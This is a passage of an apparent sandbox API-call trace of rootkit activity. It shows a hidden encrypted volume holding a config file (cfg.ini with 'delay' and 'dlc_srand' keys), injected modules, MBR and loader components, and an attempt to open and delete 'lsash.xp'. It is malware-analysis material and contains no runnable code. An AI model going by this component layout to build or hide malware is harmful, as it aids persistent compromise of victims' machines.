MemoryDescriptorList=0xfffffa8003baf190) [0125.078] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.078] IdePortDispatch () returned 0x103 [0125.078] KeWaitForMutexObject () returned 0x0 [0125.078] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.078] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.078] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.078] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.078] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.078] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5ca0 [0125.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.078] KeLeaveCriticalRegion () [0125.078] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.078] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.078] KeEnterCriticalRegion () [0125.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.078] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.078] KeLeaveCriticalRegion () [0125.078] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.078] KeEnterCriticalRegion () [0125.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.078] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.078] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.078] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.078] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.078] IdePortDispatch () returned 0x103 [0125.079] KeWaitForMutexObject () returned 0x0 [0125.079] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.079] KeLeaveCriticalRegion () [0125.079] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.079] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.079] KeEnterCriticalRegion () [0125.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.079] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1f000 [0125.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.079] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.079] IdePortDispatch () returned 0x103 [0125.079] KeWaitForMutexObject () returned 0x0 [0125.079] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.080] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.080] IdePortDispatch () returned 0x103 [0125.080] KeWaitForMutexObject () returned 0x0 [0125.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.080] KeLeaveCriticalRegion () [0125.080] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.081] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.081] KeEnterCriticalRegion () [0125.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.081] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.081] KeLeaveCriticalRegion () [0125.081] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.081] KeEnterCriticalRegion () [0125.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.081] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.081] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.081] KeLeaveCriticalRegion () [0125.081] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.081] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.081] KeEnterCriticalRegion () [0125.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.081] ExFreePoolWithTag (P=0xfffffa8003bf5ca0, Tag=0x0) [0125.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.081] KeLeaveCriticalRegion () [0125.081] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.081] ReleaseMutex (hMutex=0xf0) returned 1 [0125.081] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.081] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.081] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.081] KeEnterCriticalRegion () [0125.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.081] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.081] IdePortDispatch () returned 0x103 [0125.082] KeWaitForMutexObject () returned 0x0 [0125.082] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.082] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.082] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.082] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.082] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.082] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5a40 [0125.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.082] KeLeaveCriticalRegion () [0125.082] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.082] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.082] KeEnterCriticalRegion () [0125.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.082] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.082] KeLeaveCriticalRegion () [0125.082] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.082] KeEnterCriticalRegion () [0125.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.082] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.082] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.082] IdePortDispatch () returned 0x103 [0125.082] KeWaitForMutexObject () returned 0x0 [0125.084] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.084] KeLeaveCriticalRegion () [0125.084] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.084] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.084] KeEnterCriticalRegion () [0125.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.084] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b60000 [0125.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.085] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.085] IdePortDispatch () returned 0x103 [0125.085] KeWaitForMutexObject () returned 0x0 [0125.085] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.085] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.085] IdePortDispatch () returned 0x103 [0125.085] KeWaitForMutexObject () returned 0x0 [0125.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.085] KeLeaveCriticalRegion () [0125.085] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.086] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.086] KeEnterCriticalRegion () [0125.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.086] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.086] KeLeaveCriticalRegion () [0125.086] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.086] KeEnterCriticalRegion () [0125.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.086] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.086] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5b00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.086] KeLeaveCriticalRegion () [0125.086] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.086] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.086] KeEnterCriticalRegion () [0125.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.086] ExFreePoolWithTag (P=0xfffffa8003bf5a40, Tag=0x0) [0125.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.086] KeLeaveCriticalRegion () [0125.086] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.086] ReleaseMutex (hMutex=0xf0) returned 1 [0125.087] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.095] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.095] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.095] KeEnterCriticalRegion () [0125.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.095] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.095] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.095] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.095] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.095] IdePortDispatch () returned 0x103 [0125.095] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.095] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.095] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.095] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.095] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.096] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9310 [0125.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.096] KeLeaveCriticalRegion () [0125.096] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.096] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.096] KeEnterCriticalRegion () [0125.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.096] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.096] KeLeaveCriticalRegion () [0125.096] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.096] KeEnterCriticalRegion () [0125.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.096] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.096] IdePortDispatch () returned 0x103 [0125.096] KeWaitForMutexObject () returned 0x0 [0125.096] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.096] KeLeaveCriticalRegion () [0125.096] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.096] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.097] KeEnterCriticalRegion () [0125.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.097] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b63000 [0125.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.097] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.097] IdePortDispatch () returned 0x103 [0125.097] KeWaitForMutexObject () returned 0x0 [0125.097] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.097] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.097] IdePortDispatch () returned 0x103 [0125.097] KeWaitForMutexObject () returned 0x0 [0125.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.097] KeLeaveCriticalRegion () [0125.097] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.098] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.098] KeEnterCriticalRegion () [0125.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.098] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.098] KeLeaveCriticalRegion () [0125.098] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.098] KeEnterCriticalRegion () [0125.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.098] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.098] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.098] KeLeaveCriticalRegion () [0125.098] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.098] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.098] KeEnterCriticalRegion () [0125.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.098] ExFreePoolWithTag (P=0xfffffa8003be9310, Tag=0x0) [0125.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.098] KeLeaveCriticalRegion () [0125.098] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.099] ReleaseMutex (hMutex=0xf0) returned 1 [0125.099] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.099] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.099] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.099] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.099] KeEnterCriticalRegion () [0125.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.099] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.099] IdePortDispatch () returned 0x103 [0125.099] KeWaitForMutexObject () returned 0x0 [0125.099] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.099] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.099] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.099] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.099] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.099] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.099] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.099] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.099] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.099] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.099] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.099] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.099] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.099] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.099] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.100] KeLeaveCriticalRegion () [0125.100] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.100] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.100] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.100] KeEnterCriticalRegion () [0125.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.100] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: 